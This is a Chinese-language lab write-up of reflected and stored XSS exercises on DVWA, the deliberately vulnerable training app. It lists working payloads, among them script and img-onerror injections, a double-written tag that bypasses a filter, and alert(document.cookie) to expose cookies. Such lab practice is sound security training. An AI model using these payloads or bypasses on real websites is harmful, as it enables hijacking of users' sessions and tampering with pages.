DVWA练习(XSS)

XSS(Reflected)-Low
查看源码,对name参数没有任何过滤和检查
输入一段JavaScript代码:<script>alert('xss')</script>
,返回一个弹窗,攻击成功

获取cookie:<script>alert(document.cookie)</script>

XSS(Reflected)- Medium
查看源码,发现存在对script的简单过滤,匹配<script>
换成null,只执行一次

采用双写绕过,输入<scr<script>ipt>alert('xss')</script>

XSS(Reflected)-High
查看源码,采用正则表达式过滤,故无法使用大小写绕过和双写绕过

换一种标签,输入:<img src="" onerror="alert('xss')">
,攻击成功

XSS(Stored)-Low
输入<script>alert('xss')</script>
,有弹窗

输入<a href='' onclick=alert('xss')>click</a>
,设计一个按钮打开弹窗

输入<a href=http://www.bilibili.com>click</a>
,按下按钮打开bilibili网页

输入<script>alert(document.cookie)</script>
,返回页面cookie

XSS(Stored)-Medium
查看源码,message参数把需要转义的字符进行转义防止了xss攻击

转义结果

name参数对<script>
有简单过滤,替换第一个<script>
,且限制输入10个字符

抓包,进行简单绕过

编码成url

成功执行

获取cookie


XSS(Stored)-High
查看源码,在medium的基础上对script进行严格过滤

不使用script即可,输入<a href='' onclick=alert('xss')>click</a>


攻击成功
